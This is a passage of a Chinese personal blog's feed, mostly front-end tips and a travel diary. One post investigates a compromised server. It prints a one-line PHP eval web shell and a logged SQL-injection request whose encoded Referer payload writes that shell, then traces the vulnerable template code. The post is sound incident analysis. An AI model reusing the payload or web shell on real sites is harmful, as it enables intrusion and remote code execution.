            openTagList: ['wx-open-launch-app']
        });
        // 配置相关信息


        wx.ready(() =&gt; {
            const params = {
                id: 123,
                uid: 123,
                from: "balal"
            };
            // 要传递给App的相关参数

            const btn = document.querySelector("#launch-btn");
            btn.setAttribute("extinfo", JSON.stringify(params));
            // 序列化后赋值给标签

            btn.addEventListener('error', function (e) {
                // 注意这里有坑，我当时用手机测试的，alert(JSON.stringify(e))会提示{isTrusted:false}
                // 错误信息一直拿不到，直到看见下面这个帖子我才知道这个参数不能直接序列化
                // 所以可以自己写个函数把e.detail转成字符串形式来查看错误信息
                // https://developers.weixin.qq.com/community/develop/doc/000a20e8884ab074cb8b6ef1b5b800

                alert('未安装App');
            });
        });

    })
</code></pre>
<h2>UNIAPP 打包APP</h2>
<p>按照UNIAPP文档的说法，获取启动时的参数可以使用<code>uni.getLaunchOptionsSync</code>或者<code>uni.getEnterOptionsSync</code>接口，然而实际应用时这两个接口提供的参数中并没有微信网页中传递的参数；<code>App.vue</code>中<code>onLaunch</code>提供的<code>options</code>参数中也找不到。</p>
<p>经过一番搜索看到了这个<a href="https://juejin.cn/post/7054453047530881037">帖子</a>，使用<code>plus.runtime.arguments</code>就可以获取到传递的参数，实验一番后果然可以，相关文档<a href="https://www.html5plus.org/doc/zh_cn/runtime.html">见此</a>。</p>
<p>代码比较简单：</p>
<pre><code>// App.vue

export default {
    onLaunch() {
        if(plus.runtime.arguments != ""){
            try{
                const data = JSON.parse(plus.runtime.arguments);
                // 将传递过来的JSON字符串反序列化为对象
            } catch(e) {

            }
        }
    }
}
</code></pre>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2022-08-09T22:50:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[微信小程序中input使用fixed定位之后光标异常的问题]]></title>
        <id>https://vhvy.me/2022/03/29/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E4%B8%ADinput%E4%BD%BF%E7%94%A8fixed%E5%AE%9A%E4%BD%8D%E4%B9%8B%E5%90%8E%E5%85%89%E6%A0%87%E5%BC%82%E5%B8%B8%E7%9A%84%E9%97%AE%E9%A2%98/</id>
        <link href="https://vhvy.me/2022/03/29/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E4%B8%ADinput%E4%BD%BF%E7%94%A8fixed%E5%AE%9A%E4%BD%8D%E4%B9%8B%E5%90%8E%E5%85%89%E6%A0%87%E5%BC%82%E5%B8%B8%E7%9A%84%E9%97%AE%E9%A2%98/"/>
        <updated>2022-03-29T20:00:00.000Z</updated>
        <summary type="html"><![CDATA[最近项目中遇到了这样一个问题，屏幕底部有一个使用fixed固定位置的input输入框。在用键盘唤起之后，会出现input底部和软键盘顶部间距...]]></summary>
        <content type="html"><![CDATA[<p>最近项目中遇到了这样一个问题，屏幕底部有一个使用fixed固定位置的input输入框。在用键盘唤起之后，会出现input底部和软键盘顶部间距时大时小，以及input光标莫名其妙跑到input元素外部的奇怪问题。</p>
<h2>问题</h2>
<p>正常情况：</p>
<p><img src="https://s2.loli.net/2023/01/29/SyTkrv9LGWEbXAH.jpg" alt="008iiGpDly1h0r0mkm0m9j30mu0me13k" /></p>
<p>第二次点击input底部的input输入框时，和软键盘的间距异常，同时input输入框的光标错位：</p>
<p><img src="https://s2.loli.net/2023/01/29/hTJCckpI1je46qt.jpg" alt="008iiGpDly1h0r0mka49ij30mq0min82" /></p>
<p>虽然input的光标错位了，但是调试器可以看出input的位置其实是正常的：</p>
<p><img src="https://s2.loli.net/2023/01/29/wFjL6pkeraBuXKM.jpg" alt="008iiGpDly1h0r0s3uqddj30me0qkk60" /></p>
<h2>分析</h2>
<p>为了兼容底部安全区域，我在页面中使用了CSS变量的形式进行处理：</p>
<pre><code>page {
    --safe-bottom: constant(safe-area-inset-bottom);
    --safe-bottom: env(safe-area-inset-bottom);
}
</code></pre>
<p>这样在编写涉及到底部安全区的元素，例如<code>TabBar</code>时，就可以这样处理：</p>
<pre><code>&lt;view class="tabbar fixed"&gt;
    ...
&lt;/view&gt;

&lt;style&gt;
.tabbar {
    bottom: 0;
    left: 0;
    right: 0;
    padding: 24rpx 12rpx calc(var(--safe-bottom) + 24rpx);
}
&lt;/style&gt;
</code></pre>
<p>这样就可以很舒服地兼容底部安全区的问题。</p>
<p>在这个底部输入框中我也采用了这种方式进行兼容，见下图。</p>
<p><img src="https://s2.loli.net/2023/01/29/vfP1Ohk9Y8onTyL.jpg" alt="008iiGpDly1h0r0xo45cvj317410e1ao" /></p>
<p>那么为什么在软键盘被呼起之后<code>input</code>发生了如此诡异的问题呢？经过在调试器上的实验后，我发现在软键盘拉起之后，底部安全区的CSS变量成为了0。</p>
<p><img src="https://s2.loli.net/2023/01/29/OdeAIJ8YrybhjwV.jpg" alt="008iiGpDly1h0r0xnpdy9j314q0yawuq" /></p>
<p>在iOS15的Safari浏览器上测试了一下，在软键盘弹起时底部安全区的CSS变量的确变成了0，但是并不会出现<code>input</code>光标位置异常的问题。至于为什么在微信小程序上会出现这种问题就不得而知了。</p>
<h2>修复</h2>
<p>既然是底部安全区的CSS变量引起的位置错乱，那让底部安全区的CSS变量不变化就好了。</p>
<pre><code>const { safeAreaInsets } = wx.getSystemInfoSync();
const styles = `--safe-bottom: ${safeAreaInsets.bottom}px`;
</code></pre>
<p>获取屏幕底部的安全区域像素，然后以css变量的形式将<code>styles</code>赋值给底部<code>fixed</code>容器；这样即使呼起了软键盘，CSS变量也不会变化，自然就不会出现闪烁的问题了。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2022-03-29T20:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[一次普通的回家之旅]]></title>
        <id>https://vhvy.me/2021/10/23/%E4%B8%80%E6%AC%A1%E6%99%AE%E9%80%9A%E7%9A%84%E5%9B%9E%E5%AE%B6%E4%B9%8B%E6%97%85/</id>
        <link href="https://vhvy.me/2021/10/23/%E4%B8%80%E6%AC%A1%E6%99%AE%E9%80%9A%E7%9A%84%E5%9B%9E%E5%AE%B6%E4%B9%8B%E6%97%85/"/>
        <updated>2021-10-23T13:59:00.000Z</updated>
        <summary type="html"><![CDATA[一转眼又是好久没回家了，上次回家还是三月份；当时抱着希冀的心情回到老家，却扑了个空，洒下一些酸楚的泪水后又狼狈逃离了老家。收拾东西准备回家...]]></summary>
        <content type="html"><![CDATA[<p>一转眼又是好久没回家了，上次回家还是三月份；当时抱着希冀的心情回到老家，却扑了个空，洒下一些酸楚的泪水后又狼狈逃离了老家。</p>
<p>收拾东西准备回家，小包里装上充电器、充电线和充电宝，钱包雨伞剃须刀和一包口罩。看了下机票价格，还是决定去坐高铁。</p>
<p>坐上大巴车，前往高铁站的路上便出了状况，前方在修路；苦等了大半个小时后，拥挤的车流才慢慢开始向前移动。在车上摇晃了两个多小时后终于到了高铁站，AirPods已经戴的我耳朵痛。打开12306，看了一下最近一趟前往西安的高铁是40分钟后，而且是G字开头的，座位上有插座可以充电，果断买票刷证进站。</p>
<p>过安检时有个女士的包落在了安检机里，安检员连呼几声后没有人响应，打开包开始查看是否有联系方式。我站在上行的电梯上远远望着安检员，想着那位忘记拿包的女士此时有没有发现自己包不见了，她的行程会不会耽搁？</p>
<p>坐在候车大厅检票口旁边的椅子上，默默观察着大厅里的芸芸众生；七八个穿着朴素的老人一起往大厅深处走去，每个人手里都提着一些东西，各种没有听过牌子的牛奶和保健品，我不禁恶意猜想会不会是无良旅游团搞的鬼？</p>
<p>稍显无聊，掏出手机打开B站看清朝老兵拯救人类，等我回过头时发现我所乘车次还有一分钟就停止检票了。抓起包掏出身份证就往检票口冲，幸运的是检票口下了楼梯就是我所在的车厢，有惊无险的上了车。上车后，找到我的靠窗座位，放下小桌板，掏出充电器给手机充起电来。我旁边的座位一直没有人，刚好图个清净。</p>
<p>我正想观赏一下窗外的风景，我侧前方的一位大爷突然开始用一种听不懂的方言滔滔不绝起来，声音还特别大，戴上耳机也无济于事。旁边的小伙边听边哈哈大笑。周围的乘客都向他们行起了注目礼，他俩依然我行我素；Rap了10分钟之后，他俩终于消停了下来，并在前方的站下了车，我长出了一口气，摘下耳机观赏起窗外的风景。</p>
<p>西北地方，各个村子的布局都相差不大，我盯着窗外发起呆来；进入陕西境内时天空飘起了小雨，发亮的铁轨显得水润起来，我庆幸自己带了一把小伞。打开QQ呼唤我的几位朋友，他们正好都在西安。</p>
<p>到了高铁站，在站口做核酸检测，这是我第一次做核酸；扫码登记后，全副武装的一位女生拿出一根棉签，在我喉咙深处沾了几下，没有想象中那么难受，随做随走，高铁站这个措施还是很不错的。</p>
<p>坐上2号线，一路杀到安远门；在安远门地铁站等了几分钟后，E哥出现在了我的面前，又是几分钟，Z哥也出现在了这里。组团准备去吃饭，走了几步之后觉得龙首原还是太远了，还是往西走吧。找到了一家烧烤店，大快朵颐一番之后，回到定好的酒店开始休息起来。</p>
<p>E哥相亲几次都无果，他说现在已经不会和女生聊天了，他以前可是号称“情圣”的存在，什么时候开始成这样了呢？Z哥和他对象已经平稳度过了几年，明年可能就要结婚。说起我，我还是万年单身狗没有变化。打算去网吧开黑送人头，结果Z哥没带身份证，索性掏出手机开始玩手游LOL。</p>
<p>四连胜之后，Z哥对象打来了电话，Z哥向我们告辞，在我们亲切的问候声中Z哥竖着中指离开了酒店。</p>
<p>没了Z哥，突然也没动力去玩LOL了，两个人躺在床上玩起手机来；当从E哥的手机中传来猴子笑声时我大吃一惊，他可是从来不玩抖音的，怎么也开始玩抖音了？我也有半年多没刷过抖音了，又下载了抖音开始刷起来消磨时间。一眨眼就到了10点钟，E哥已经睡着了，我刷了一会也困了，关上灯倒在了床上。</p>
<p>早上醒来时已经10点钟了，E哥早已外出去处理事情。起床洗漱并洗了个头，看了几分钟论坛，E哥回来了，收拾好东西退房，前往泡馍店开吃，我已经要一年多没吃过泡馍了，馋死我了。</p>
<p>吃完饭，慢慢向西安火车站走去。听说火车站已经彻底重修了，到达火车站之后发现果然和以前的一窝蜂不一样了，北口直接对着丹凤门遗址，南口变化不是很大，对面的牛肉面大王还是依旧坚挺。</p>
<p>在大明宫的这个公园里坐了一个多小时后，起身进站，登上火车，摇摆了几个小时之后到达了我的家乡。一出车站，那些热情到过头的黑车司机们就又上来拉客了，“小伙，走不走？还差两个人，五块！”。摆着手，我飞快的跑向公交站，在风中吹了十分钟后，公交车终于来到。这个线路终于换电动车了，也可以刷乘车码了，支付宝还能打8折。E哥说他冻得实在受不了了，他要穿羽绒服。我倒是没感觉到冷，穿了个薄薄的毛衣，外加一个卫衣，感觉正合适。</p>
<p>到了市区，E哥扫了个共享电动车，我蹲在前面的小踏板上，E哥载着我缓缓向他的新房子驶去。他的新家这个小区也是离谱，我记得我2014年刚从广东回来时，这个楼盘还是一片荒地，价格是2xxx/平，现在已经攀升到6xxx/平了，不禁让人感叹房地产是真的赚钱。</p>
<p>E哥的房子买在了顶楼，小区里还没有多少住户，很安静。进了门之后，装修不是很奢华，但是是我想象中家的样子。打开电脑房，打开电脑开始大乱斗。</p>
<p>第二天，我本来想回村的，接下来得知由于几个月连绵不断的雨，老家房子后面的山体有些垮塌，奶奶她已经来到城里这边住了。也就是说老家没人，我也没有老家钥匙，索性就放弃了回家。</p>
<p>在这里也没事，大家都很忙，我还是那个无聊的人。去隔壁大学门口的那个网吧，网吧里一个人都没有，疫情的影响真是大。登记信息，刷身份证，网管告知我的卡里没钱了。我很震惊，我从2017年充的几百块现在终于上完了么？我又充了50进去。</p>
<p>大乱斗三连跪，离开网吧，在这个熟悉又陌生的城市里游走起来。这个城市的变化很大，很多路加宽了也重修了，城中门前修了人行天桥，听说高中部已经搬到山上去了，校本部现在留给初中部使用。商中也修了新的校区，好像在河对面，看公众号里发的视频真是棒极了。</p>
<p>去年回来时还是一片纷杂的地方，现在六小的教学楼赫然已经屹立在那里。曾经破败的红绿灯已经换成了和西安一样的红绿灯，那个经常出事故的路口也已经彻底重修，一切都越来越好了，只是我却完全不认识这里了。</p>
<p>背上背包，前往汽车站乘坐前往西安的大巴，上车前告知我没有48小时内的核酸报告是不能去西安的。我昨日已经做了核酸，只能静候结果了。等了一个小时后，我的核酸结果终于出来了。</p>
<p>到了纺织城客运站，下车后我直奔厕所，路上卖化妆品的阿姨塞传单让我去领取免费礼物。我接过传单继续奔往厕所，阿姨见我没有领取的意思又追了上来让我把传单还给她。上完厕所，经过那家化妆品店门口时阿姨又说：“小伙子，刚才没来现在来领么。”。我摆了摆手，冲往地铁站。</p>
<p>纺织城站一路坐到北大街，又从北大街奔往北客站，结果这次出来我差点迷路了，愣是没找到怎么进高铁站。只好先爬上楼梯，从高铁站正门进入，然后买票-进站-候车-上车。</p>
<p>到了天水南高铁站后，已经六点整了，汽车站调度员告诉我没有到家的班车了。于是我决定在天水先呆一晚，明天再回去。首先需要吃个饭，然后如果时间还早那就找个网吧去上网，然后找个宾馆住一晚。</p>
<p>我忘记了在汽车站隔壁就可以坐公交，傻乎乎的从高铁站前面的斜坡一路走了下去，结果羲皇大道正在修路，路边的公交牌已经被挖掉，我在原来的公交站位置等了一会，没有一辆公交车在这个地图标注着公交站却没有公交牌的站点停下来。看了下地图，附近的<code>CBD</code>离我这就三四公里，那就走吧，坐了几天得活动下筋骨。</p>
<p>一路上都是些4S店，还有许多的初中生从我对面走来，长达几公里的路上没有路灯，只有路边一些店铺的灯光，黑糊糊的树影完全遮蔽了人行道，我很为这些学生的安全担心。19：20分，我终于走到了<code>CBD</code>，看到有个沙县小吃店，我可喜欢沙县小吃了，进去点了个XX牛肉饭，没有30秒饭就来了，饭一端上来我心就凉了半截。</p>
<p>松塌塌的白萝卜丝上盖着几片包菜，一块豆腐皮盖在一个鸡蛋上面，黑乎乎的看不出本来面目的牛肉耷拉着身躯，米饭看着没有一丝热量。纵然如此，我已经饿极了，三下五除二就吃完了，没想到这为我第二天的出行挖了一个巨大的坑。</p>
<p>吃完饭，19:27分，我有点渴，又不想喝冷冰冰的矿泉水。看了下地图，不远处的地方有个蜜雪冰城，点了个热百香果，酸酸甜甜又暖和，真好，就是不能多喝。</p>
<p>看了下时间还早，我决定去网吧；照着百度地图和高德地图，我走访了好几个网吧，全部都关门了，我的心拔凉拔凉的。到最后，我在美团上搜了下网吧，挑选半天后我决定前往这个和我隔了一条街道的网吧，如果这个网吧还关门我就找个宾馆睡觉。</p>
<p>19:55分，我终于到达了这个网吧。看到网吧那个黄色的招牌时我高兴极了，终于找到了一个活着的网吧。进去后，人很多，之前的气氛又回来了。开了一台机，打开大乱斗，五连胜，太痛快了。</p>
<p><img src="https://s2.loli.net/2023/01/29/m1uNMCr9sjDVYAT.jpg" alt="008iiGpDly1gvpadn94brj62c0340hdv02" /></p>
<p>23点，下机，美团上找了个附近的宾馆，前往宾馆，出示健康码和行程码，登记，开房间，睡觉。这个时候我感觉肚子不太对劲了，一晚上去了厕所六七次，我不禁开始怀疑这个沙县小吃是不是冒牌的，难吃就算了，还让人拉肚子，艹。</p>
<p>经过这样的折腾我一晚上都没睡好，早上直到10点钟才醒来，坐上15路前往汽车站。等公交时一位阿姨和我攀谈起来，问我那个除雾霾的车里面喷的是不是84消毒液，我说那应该是除雾霾的。她开始吐槽疫情的影响多大多大，好多学校都停课了。</p>
<p>坐着公交一路到了汽车站，坐上大巴，直到最后发车车上也只有六个人。发车半小时后我就感觉我的肚子不对了，这段车程可是要将近三个小时！如果在大巴上化身喷射战士的话，那就发出很大的声音来掩盖过去罢啊阿啊阿啊啊阿啊阿啊啊阿啊阿啊啊阿啊阿啊。</p>
<p>那当然是不可能的，我凭借着超人的意志力硬是抗了三个小时，下车后还风轻云淡的搭了辆出租车回家。到家之后我以迅雷不及掩耳之势奔向厕所，变身喷射战士，将对那家沙县小吃的愤恨以滔滔不绝之势释放而出。</p>
<p>那么就以一副对联来形容一下吧:</p>
<p>&lt;pre style="text-align:center;"&gt;
爽爽爽爽
脚       前
踏       面
黄       激
河       光
两       扫
边       射
手       后
持       面
机       炮
密       火
文       连
件       天
&lt;/pre&gt;</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2021-10-23T13:59:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[记录一次服务器被Sql注入的排查过程]]></title>
        <id>https://vhvy.me/2021/06/06/%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%ABSql%E6%B3%A8%E5%85%A5%E7%9A%84%E6%8E%92%E6%9F%A5%E8%BF%87%E7%A8%8B/</id>
        <link href="https://vhvy.me/2021/06/06/%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%ABSql%E6%B3%A8%E5%85%A5%E7%9A%84%E6%8E%92%E6%9F%A5%E8%BF%87%E7%A8%8B/"/>
        <updated>2021-06-06T20:04:00.000Z</updated>
        <summary type="html"><![CDATA[下午，我正在河边散步，突然朋友给我发了一条短信截图，让我帮他看看啥情况。连上服务器，先停了web服务器。看了下根目录果然多出了一个userr...]]></summary>
        <content type="html"><![CDATA[<p>下午，我正在河边散步，突然朋友给我发了一条短信截图，让我帮他看看啥情况。</p>
<p><img src="https://s2.loli.net/2023/01/29/OGz3wg7Va9KovA4.jpg" alt="img" /></p>
<h2>排查</h2>
<p>连上服务器，先停了web服务器。看了下根目录果然多出了一个<code>userr.php</code>文件，内容如下：</p>
<pre><code>&lt;title&gt;usrr&lt;/title&gt;&lt;?php $str="1";function s($str){eval("".$str."");}s($_POST["usrr"]);?&gt;
</code></pre>
<p>一看<code>eval</code>我就感觉大事不妙，这是被人家把底裤都扒了个精光。好在这台服务器没啥价值，上面的业务也处于停滞状态。不过遇到这种问题还是要排查一下的。</p>
<p>先看一下<code>nginx</code>的响应日志，按照腾讯云提供的这个时间<code>2021-06-05 16:44:53</code>，发现了一条这样的记录：</p>
<pre><code>113.237.187.191 - -[05 / Jun / 2021: 16: 44: 52 + 0800] "GET /user.php?act=login HTTP/1.1" 200 1811 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\x22num\x22;s:456:\x22*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F496E567A5A584A794C6E426F634349734A7A7830615852735A54353163334A7950433930615852735A5434385033426F6343416B6333527950534978496A746D6457356A64476C766269427A4B43527A64484970653256325957776F496949754A484E306369346949696B3766584D6F4A46395154314E5557794A3163334A79496C30704F7A382B4A796B372729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:3:\x22'/*\x22;}" "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"
</code></pre>
<p>看了下<code>nginx</code>日志响应的格式，最长的这个字符串是<code>Referer</code>，其中<code>|</code>后面是一个php序列化后的字符串，里面嵌入了一个<code>sql</code>语句，后面还有一个很长的16进制数字，先把这个疑似php序列化字符串反序列化一下看看。</p>
<p><img src="https://s2.loli.net/2023/01/29/4HpdzkvFi2P8TeI.jpg" alt="img" /></p>
<p>emm，有<code>num</code>有<code>id</code>，看样子和业务逻辑还有关联，直接看代码吧。不过在这之前看一下这个十六进制数字是啥东西吧。</p>
<p><img src="https://s2.loli.net/2023/01/29/W4Uu5ltD93j7cdQ.jpg" alt="img" /></p>
<p>再解一下<code>base64</code>：</p>
<p><img src="https://s2.loli.net/2023/01/29/aFlRAVZmI6M5vK9.jpg" alt="img" /></p>
<p>好家伙，原来是这么写进去的，看一下业务逻辑吧。</p>
<h2>分析业务逻辑</h2>
<p><code>nginx</code>响应日志里是从<code>user.php?act=login</code>进去的，跟踪一下执行流程，发现有一处关键的流程使用了<code>HTTP_REFERER</code>:</p>
<p><img src="https://s2.loli.net/2023/01/29/6Ev3qQPFichJx8m.jpg" alt="img" /></p>
<p>接下来挂载相应变量后调用了<code>display</code>方法，继续深入:</p>
<p><img src="https://s2.loli.net/2023/01/29/Q2PmXlopLCzh6sT.jpg" alt="img" /></p>
<p>继续跟踪下去，这里<code>$this-&gt;fetch</code>获取模版内容。</p>
<p><img src="https://s2.loli.net/2023/01/29/xUZWGg92jpbHLhq.jpg" alt="img" /></p>
<p>获取模版内容并<code>eval</code>：</p>
<p><img src="https://s2.loli.net/2023/01/29/i6lmSZEeJ9OnjBz.jpg" alt="img" /></p>
<p>进行<code>eval</code>：</p>
<p><img src="https://s2.loli.net/2023/01/29/gz15JsB8dEmCvY3.jpg" alt="img" /></p>
<p>模版中使用了<code>$back_act</code>变量：</p>
<p><img src="https://s2.loli.net/2023/01/29/TWjMrP3ahtnwJbo.jpg" alt="008iiGpDly1gt8oh4he5hj60z4096n1302" /></p>
<p>回到<code>display</code>函数，获取到模版内容后用<code>_echash</code>变量进行了切割，这个<code>_echash</code>在原本的代码中是<code>554fcae493e564ee0dc75bdf2ebf94ca</code>，而现在是<code>554fcae493e564ee0dc75bdf2ebf94caads</code>，相比之下多出来一个<code>ads</code>。</p>
<p>切割后的<code>$k</code>变量中的奇数位置正好含有注入的恶意代码，然后进入了<code>insert_mod</code>函数：</p>
<p><img src="https://s2.loli.net/2023/01/29/xUZWGg92jpbHLhq.jpg" alt="img" /></p>
<p>这里先将字符串用<code>|</code>进行切割，然后对恶意代码进行了反序列化，而<code>$fun</code>成了<code>insert_ads</code>函数，执行相应的函数:</p>
<p><img src="https://s2.loli.net/2023/01/29/uSKe2yTFv3w8kxf.jpg" alt="008iiGpDly1gt8ogrgnzzj30pm0ao41s" /></p>
<p>最终带入了<code>sql</code>语句并被执行。</p>
<p><img src="https://s2.loli.net/2023/01/29/Ro7vPaZLDuQNwxg.jpg" alt="img" /></p>
<p>写完后才发现这个漏洞早被别人抓出来了<a href="https://mp.weixin.qq.com/s/xHioArEpoAqGlHJPfq3Jiw">链接</a>，好吧。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2021-06-06T20:04:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[实现一个简单的横向滑动菜单栏]]></title>
        <id>https://vhvy.me/2021/05/30/%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E6%A8%AA%E5%90%91%E6%BB%91%E5%8A%A8%E8%8F%9C%E5%8D%95%E6%A0%8F/</id>
        <link href="https://vhvy.me/2021/05/30/%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E6%A8%AA%E5%90%91%E6%BB%91%E5%8A%A8%E8%8F%9C%E5%8D%95%E6%A0%8F/"/>
        <updated>2021-05-30T22:10:00.000Z</updated>
        <summary type="html"><![CDATA[两年多没写过博客了，我也不知道都在忙什么，以后还是要坚持写博客的，起码把自己的一些想法记录下来。前两天突然很好奇一个很常见的动效是怎么实现的...]]></summary>
        <content type="html"><![CDATA[<p>两年多没写过博客了，我也不知道都在忙什么，以后还是要坚持写博客的，起码把自己的一些想法记录下来。</p>
<p>前两天突然很好奇一个很常见的动效是怎么实现的，今天有空了就花了一会时间将它实现了一遍。</p>
<p><img src="https://s2.loli.net/2023/01/29/i5fJDHIwPt32nav.gif" alt="008iiGpDly1gt9bhredjtg30p403skjl" /></p>
<p>最终效果DEMO: <a href="https://vhvy-demo.netlify.app/horizontal-scroll">https://vhvy-demo.netlify.app/horizontal-scroll</a></p>
<p>代码地址: <a href="https://github.com/vhvy/some-demo/tree/master/horizontal-scroll">https://github.com/vhvy/some-demo/tree/master/horizontal-scroll</a></p>
<h2>分析动效</h2>
<p>从效果图上可以看出，这一个文字内容不定长的Tab列表；点击tab项时tab会被高亮，并将tab滚动到屏幕正中间，同时tab下方的指示条在经过短暂的延迟后滑动到当前选中的tab下。</p>
<h2>实现基本结构</h2>
<p>为了方便演示我用Vue直接做的，先实现最基本的部分。循环tab数据项，将每个子tab项的index绑定到dataset，同时在列表外层容器上代理监听点击事件，并更新相应的idx; idx匹配的tab将进行高亮处理。</p>
<pre><code> &lt;div id="root"&gt;
    &lt;nav class="demo-nav-wrap" ref="nav_box"&gt;
        &lt;ul class="demo-nav-list" @click="handleNavClick"&gt;
            &lt;li class="demo-nav-item" :data-idx="index" :class="{ active: index == activeNavIdx }" ref="navs"
                v-for="(item, index) of menus" :key="item.id"&gt;{{ item.name }}&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/nav&gt;
&lt;/div&gt;
</code></pre>
<pre><code>
const menus = [
    {
        id: 1,
        name: "首页"
    },
    ...
];

new Vue({
    el: "#root",
    data() {
        return {
            menus,
            activeNavIdx: 0
        }
    },
    methods: {
        handleNavClick({ target }) {
            const { idx } = target.dataset;
            if (!idx || idx == this.activeNavIdx) return;
            this.activeNavIdx = idx;
        },
    }
});
</code></pre>
<h2>指示器</h2>
<p>指示器可以用tab容器<code>ul</code>的<code>::after</code>伪元素来做，相对于tab容器进行绝对定位，<code>bottom</code>的位置是固定的，只需要控制<code>left</code>的位置即可。</p>
<p>按照动效来看，需要在每次点击tab后更新指示器位置。可以使用Vue的<code>$refs</code>获取到对应的dom，然后获取dom的位置，然后进一步计算出tab的<code>left</code>。</p>
<p>从动效图中可以看出，指示器和指示器在垂直方向是完全对齐的，也就是两者的的垂直平分线是完全重合的。</p>
<p>要达到这种效果，我们可以按照下图来进行计算：</p>
<p><img src="https://s2.loli.net/2023/01/29/QI3qutRByMJYvsb.jpg" alt="008iiGpDly1gt9bhqxct8j30sk0tw0vr" /></p>
<p>图中最大的红色方框代表屏幕可视区域，红色方框顶部方框表示滚动区域；</p>
<p>屏幕外左侧虚线框代表tab滚动容器已经滚去的部分，而A代表当前选中的tab栏相对于滚动容器左侧的距离(offsetLeft)，B则是当前选中tab栏一半的宽度(offsetWidth / 2)，C则是指示器宽度的一半。</p>
<p>要想让指示器的垂线和当前选中tab栏的垂线重合，计算出指示器相对于滚动容器左侧的距离即可。</p>
<p>按图可知，用tab栏相对于滚动容器左侧距离加上当前tab栏宽度的一半数值，就可以得到当前tab栏中线相对于滚动容器左侧的距离；同时为了将指示器和tab栏垂线重合，再减去一半的指示器宽度即可。计算公式如下：</p>
<pre><code>tab.offsetLeft + tab.offsetWidth / 2 - pointerWidth / 2;
</code></pre>
<p>接下来只要在点击tab后更新指示器位置就可以了，tab的dom可以用ref拿到，所以写这样一个函数，在<code>handleNavClick</code>里进行调用即可。</p>
<pre><code>handleUpdatePointerPos() {
    const dom = this.$refs.navs[this.activeNavIdx];
    this.pointerX = dom.offsetLeft + dom.offsetWidth / 2 - this.pointerWidth / 2;
} 
</code></pre>
<p>指示器的宽度一般是固定的，所以将指示器宽度写在data里(<code>pointerWidth</code>)，通过css变量赋值给html里的指示器dom使用。同时在计算指示器位置时也可以直接从data里取到对应的值。</p>
<p>计算出指示器位置后，将位置更新到data里，然后将css变量绑定到tab父元素上，供子元素指示器使用。</p>
<pre><code>{
    data() {
        return {
            ...,
            pointerWidth: 12,
            pointerX: -100
        }
    },
    computed: {
        pointerStyle() {
            return {
                '--pointer-x': this.pointerX,
                '--pointer-width': this.pointerWidth
            }
        }
    },
}
</code></pre>
<pre><code>&lt;ul class="demo-nav-list" @click="handleNavClick" :style="pointerStyle"&gt;
...
&lt;/ul&gt;
</code></pre>
<pre><code>.demo-nav-list::after {
    content: "";
    position: absolute;
    bottom: 7px;
    left: calc(var(--pointer-x) * 1px);
    width: calc(var(--pointer-width) * 1px);
    border-top: 2px solid red;
    transition: left ease 0.3s;
}
</code></pre>
<p>同时在页面刚加载完没有发生任何点击事件时，指示器的位置是未知的，所以要在<code>mounted</code>生命周期里更新一下指示器位置。</p>
<pre><code>mounted() {
    this.handleUpdatePointerPos();
}
</code></pre>
<p>到现在为止，指示器在tab栏发生点击后就会跟随移动到tab栏正下方了，再解决了tab栏点击后自动滚动至页面中间的问题后就算大功告成了。</p>
<h2>滚动至页面中间</h2>
<p><code>scrollIntoView</code>这个API可以将元素滚动到可见位置，它的可选参数可以指定滚动到<code>start</code>，<code>center</code>，<code>end</code>，<code>nearest</code>，还可以使用平滑滚动，难道这么简单就解决了？</p>
<p>实际测试之后发现Chrome和Firefox正常，而Safari的表现非常诡异，并没有按照指定的<code>center</code>来滚动，而且也没有平滑滚动的效果。</p>
<p>使用<a href="https://www.caniuse.com">caniuse</a>查询以后，Safari支持率一片爆红，只能弃之。</p>
<p>转换思路，用<code>scrollTo</code>进行滚动，同时使用CSS属性<code>scroll-behavior: smooth;</code>进行平滑滚动；然而Safari也不支持，这样只能手动实现平滑滚动效果了。</p>
<p>按照下图所示，A代表滚动容器当前已卷去的距离<code>box.scrollLeft</code>，B代表屏幕宽度的一半<code>window.innerWidth / 2</code>，即屏幕垂直平分线的位置；C代表tab栏宽度的一半<code>tab.offsetWidth / 2</code>;而D表示tab栏相对于滚动容器左侧的距离<code>tab.offsetLeft</code>。</p>
<p>为了将tab栏滚动到屏幕中心位置，其实也就是将倒数第一条黑色竖线的位置移动到屏幕中线位置，即倒数第二条紫色竖线位置。</p>
<p>只要将滚动值减小，黑色竖线就会向左移动直到和紫色竖线重合。现在只要求出两条竖线之间的距离就可以知道要滚动多少距离了。</p>
<p>黑色竖线和紫色竖线之间的距离有以下公式：<code>D + C - (A + B)</code>，用实际代码表现出来则是：</p>
<pre><code>const size = tab.offsetLeft + tab.offsetWidth / 2 - (scrollBox.scrollLeft + window.innerWidth / 2);
</code></pre>
